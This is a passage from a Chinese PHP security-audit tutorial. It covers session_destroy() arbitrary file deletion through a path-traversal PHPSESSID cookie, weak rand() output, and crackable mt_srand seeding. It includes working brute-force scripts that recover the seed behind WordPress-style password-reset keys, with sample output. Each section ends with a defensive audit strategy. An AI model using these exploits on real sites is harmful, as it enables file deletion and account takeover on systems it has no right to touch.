Maroon;">5.14</span><span style="color: Gray;"><br />系统要求：无<br />审计策略：查找</span><span style="color: Green;">unset</span><span style="color: Gray;"><br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5.3</span><span style="color: Gray;"> </span><span style="color: Blue;">session_destroy</span><span style="color: Olive;">()</span><span style="color: Gray;">删除文件漏洞（测试</span><span style="color: Blue;">PHP</span><span style="color: Gray;">本：</span><span style="color: Maroon;">5.1.2</span><span style="color: Gray;">）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;这个漏洞是几年前朋友</span><span style="color: Blue;">saiy</span><span style="color: Gray;">现的，</span><span style="color: Blue;">session_destroy</span><span style="color: Olive;">()</span><span style="color: Gray;">函数的功能是删除</span><span style="color: Blue;">session</span><span style="color: Gray;">件，<br />很多</span><span style="color: Blue;">web</span><span style="color: Gray;">用程序的</span><span style="color: Blue;">logout</span><span style="color: Gray;">功能都直接调用这个函数删除</span><span style="color: Blue;">session</span><span style="color: Gray;">但是这个函数在一些老<br />的版本中缺少过滤导致可以删除任意文件。测试代码如下：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br />&lt;?</span><span style="color: Blue;">php</span><span style="color: Gray;"> <br /></span><span style="color: #ffa500;">//val.php&nbsp; &nbsp;</span><span style="color: Gray;"><br /></span><span style="color: Blue;">session_save_path</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">./</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">session_start</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">del</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">])</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">session_unset</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">session_destroy</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$_SESSION</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">hei</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">=</span><span style="color: Maroon;">1</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">echo</span><span style="color: Olive;">(</span><span style="color: Blue;">session_id</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">print_r</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_SESSION</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />?&gt;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当我们提交构造</span><span style="color: Blue;">cookie</span><span style="color: Gray;">:</span><span style="color: Blue;">PHPSESSID</span><span style="color: Gray;">=/../</span><span style="color: Maroon;">1</span><span style="color: Gray;">.</span><span style="color: Blue;">php</span><span style="color: Gray;">相当于</span><span style="color: Blue;">unlink</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">sess_/../1.php</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">这样<br />就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如</span><span style="color: Blue;">phpmyadmin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">sablog</span><span style="color: Gray;"></span><span style="color: Blue;">phpwind3</span><span style="color: Gray;">等。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：具体不详<br />系统要求：无<br />审计策略：查找</span><span style="color: Blue;">session_destroy</span><span style="color: Gray;"><br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5.4</span><span style="color: Gray;"> 随机函数<br />&nbsp;&nbsp; &nbsp;<br /></span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">rand</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Blue;">VS</span><span style="color: Gray;"> </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;"><br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br />&lt;?</span><span style="color: Blue;">php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//on windows</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: Blue;">mt_getrandmax</span><span style="color: Olive;">()</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//2147483647</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: Blue;">getrandmax</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span><span style="color: #ffa500;">// 32767</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;可以看出rand()最大的随机数是32767，这个很容易被我们暴力破解。 <br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$a</span><span style="color: Gray;">= </span><span style="color: Blue;">md5</span><span style="color: Olive;">(</span><span style="color: Blue;">rand</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;=</span><span style="color: Maroon;">32767</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">){</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">md5</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;"> ==</span><span style="color: #00008b;">$a</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; </span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">--&gt;ok!!&lt;br&gt;</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span><span style="color: Green;">exit</span><span style="color: Gray;">;<br />&nbsp;&nbsp; </span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">&lt;br&gt;</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当我们的程序使用rand处理session时，攻击者很容易暴力破解出你的session，但是对于<br />mt_rand是很难单纯的暴力的。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找rand<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />2) mt_srand()/srand()-weak seeding（by Stefan Esser）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;看php手册里的描述：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />mt_srand<br />(PHP 3 &gt;= 3.0.6, PHP 4, PHP 5)<br />&nbsp;<br />mt_srand -- 播下一个更好的随机数发生器种子<br />说明<br />void mt_srand ( int seed )<br />&nbsp;<br />&nbsp;<br />用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空<br />时，会被设为随时数。 <br />&nbsp;<br />例子 1. mt_srand() 范例<br />&nbsp;<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">// seed with microseconds</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">make_seed</span><span style="color: Olive;">()</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">list</span><span style="color: Olive;">(</span><span style="color: #00008b;">$usec</span><span style="color: Gray;">, </span><span style="color: #00008b;">$sec</span><span style="color: Olive;">)</span><span style="color: Gray;"> = </span><span style="color: Blue;">explode</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Blue;">microtime</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">float</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: #00008b;">$sec</span><span style="color: Gray;"> + </span><span style="color: Olive;">((</span><span style="color: Blue;">float</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: #00008b;">$usec</span><span style="color: Gray;"> * </span><span style="color: Maroon;">100000</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Blue;">make_seed</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$randval</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;">&nbsp; <br />&nbsp;<br />注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已<br />自动完成。<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;php从4.2.0开始实现了自动播种，但是为了兼容，后来使用类似于这样的代码播种：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />mt_srand ((double) microtime() * 1000000)<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的：<br />&nbsp;<br />0&lt;(double) microtime()&lt;1 ---&gt; 0&lt;(double) microtime()* 1000000&lt;1000000<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;那么很容易暴力破解,测试代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">/////////////////</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//&gt;php rand.php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//828682</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//828682</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////////////////</span><span style="color: Gray;"><br /></span><span style="color: Blue;">ini_set</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">max_execution_time</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$time</span><span style="color: Gray;">=</span><span style="color: Olive;">(</span><span style="color: Blue;">double</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">microtime</span><span style="color: Olive;">()</span><span style="color: Gray;">* </span><span style="color: Maroon;">1000000</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$time</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">mt_srand</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$time</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br /></span><span style="color: #00008b;">$search_id</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$seed</span><span style="color: Gray;"> = </span><span style="color: Blue;">search_seed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$search_id</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">search_seed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$rand_num</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$max</span><span style="color: Gray;"> = </span><span style="color: Maroon;">1000000</span><span style="color: Gray;">;<br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$seed</span><span style="color: Gray;">&lt;=</span><span style="color: #00008b;">$max</span><span style="color: Gray;">;</span><span style="color: #00008b;">$seed</span><span style="color: Gray;">++</span><span style="color: Olive;">){</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$key</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$key</span><span style="color: Gray;">==</span><span style="color: #00008b;">$rand_num</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">false</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从上面的代码实现了对seed的破解，另外根据Stefan Esser的分析seed还根据进程变化<br />而变化，换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是<br />特定的。如下图：<br />&nbsp;<br />+--------------+<br />|&nbsp; &nbsp;seed-A&nbsp; &nbsp; &nbsp;|<br />+--------------+<br />| mt_rand-A-1&nbsp; |<br />| mt_rand-A-2&nbsp; |<br />| mt_rand-A-3&nbsp; |<br />+--------------+<br />&nbsp;<br />+--------------+<br />|&nbsp; &nbsp;seed-B&nbsp; &nbsp; &nbsp;|<br />+--------------+<br />| mt_rand-B-1&nbsp; |<br />| mt_rand-B-2&nbsp; |<br />| mt_rand-B-3&nbsp; |<br />+--------------+<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;对于seed-A里mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是说当seed-A等于<br />seed-B，那么mt_rand-A-1就等于mt_rand-B-1…，这样我们只要能够得到seed就可以得到每次<br />mt_rand的值了。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;对于5.2.6&gt;php&gt;4.2.0直接使用默认播种的程序也是不安全的（很多的安全人员错误的以<br />为这样就是安全的），这个要分两种情况来分析：<br />&nbsp;<br />第一种：&quot;Cross Application Attacks&quot;，这个思路在Stefan Esser文章里有提到，主要是利用<br />其他程序定义的播种（如mt_srand ((double) microtime()* 1000000)），phpbb+wordpree组<br />合就存在这样的危险.<br />&nbsp;<br />第二种：5.2.6&gt;php&gt;4.2.0默认播种的算法也不是很强悍，这是Stefan Esser的文章里的描述：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />The Implementation<br />When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <br />&lt;= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only<br />31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne <br />Twister was changed and the forced bit removed.<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;在32位系统上默认的播种的种子为最大值是2^32，这样我们循环最多2^32次就可以破解<br />seed。而在PHP 4和PHP 5 &lt;= 5.2.0 的算法有个bug：奇数和偶数的播种是一样的（详见附录<br />[3]）,测试代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: #00008b;">$a</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Maroon;">5</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: #00008b;">$b</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$a</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: #00008b;">$b</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;通过上面的代码发现$a==$b，所以我们循环的次数为2^32/2=2^31次。我们看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//base on </span><span style="color: Blue;">http://www.milw0rm.com/exploits/6421</span><span style="color: #ffa500;"> </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//test on php 5.2.0</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Green;">define</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">BUGGY</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//上面代码$a==$b时候定义BUGGY=1</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #00008b;">$key</span><span style="color: Gray;"> = </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: Maroon;">20</span><span style="color: Gray;">, </span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$seed</span><span style="color: Gray;"> = </span><span style="color: Blue;">getseed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$key</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; <br />&nbsp;<br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$pass</span><span style="color: Gray;"> = </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: Maroon;">20</span><span style="color: Gray;">, </span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$pass</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: #00008b;">$length</span><span style="color: Gray;"> = </span><span style="color: Maroon;">12</span><span style="color: Gray;">, </span><span style="color: #00008b;">$special_chars</span><span style="color: Gray;"> = </span><span style="color: Green;">true</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$chars</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$special_chars</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$chars</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">!@#$%^&amp;*()</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$password</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">; </span><span style="color: #00008b;">$i</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$length</span><span style="color: Gray;">; </span><span style="color: #00008b;">$i</span><span style="color: Gray;">++ </span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$password</span><span style="color: Gray;"> .= </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chars</span><span style="color: Gray;">, </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Gray;">, </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chars</span><span style="color: Olive;">)</span><span style="color: Gray;"> - </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$password</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">getseed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$resetkey</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$max</span><span style="color: Gray;"> = </span><span style="color: Blue;">pow</span><span style="color: Olive;">(</span><span style="color: Maroon;">2</span><span style="color: Gray;">,</span><span style="color: Olive;">(</span><span style="color: Maroon;">32</span><span style="color: Gray;">-</span><span style="color: Blue;">BUGGY</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$x</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$x</span><span style="color: Gray;">&lt;=</span><span style="color: #00008b;">$max</span><span style="color: Gray;">;</span><span style="color: #00008b;">$x</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$seed</span><span style="color: Gray;"> = </span><span style="color: Blue;">BUGGY</span><span style="color: Gray;"> ? </span><span style="color: Olive;">(</span><span style="color: #00008b;">$x</span><span style="color: Gray;"> &lt;&lt; </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> + </span><span style="color: Maroon;">1</span><span style="color: Gray;"> : </span><span style="color: #00008b;">$x</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$testkey</span><span style="color: Gray;"> = </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: Maroon;">20</span><span style="color: Gray;">,</span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$testkey</span><span style="color: Gray;">==</span><span style="color: #00008b;">$resetkey</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">o</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">; </span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Olive;">(</span><span style="color: #00008b;">$x</span><span style="color: Gray;"> % </span><span style="color: Maroon;">10000</span><span style="color: Olive;">))</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$x</span><span style="color: Gray;"> / </span><span style="color: Maroon;">10000</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">false</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;运行结果如下：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />php5&gt;php rand.php<br />M8pzpjwCrvVt3oobAaOr<br />0123456789101112131415161718192021222324252627282930313233343536373839404142434<br />445464748495051525354555657585960616263646566676869<br />7071727374757677787980818283848586878889909192939495969798991001011021031041051<br />061071081091101111121131141151161171181191201211221<br />2312412512612712812913013113213313413513613713813914014114214314414514614714814<br />915015115215315415515615715815916016116216316416516<br />6167168169170171172173174175176177178179180181182183184185186187188189190191192<br />193194195196197198199200201202203204205206207208209<br />2102112122132142152162172182192202212222232242252262272282292302312322332342352<br />362372382392402412422432442452462472482492502512522<br />..............01062110622106231062410625106261062710628106291063010631106321063<br />3o<br />70693<br />pjwCrvVt3oobAaOr<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当10634次时候我们得到了结果。<br />&nbsp;<br />&nbsp;&nbsp; 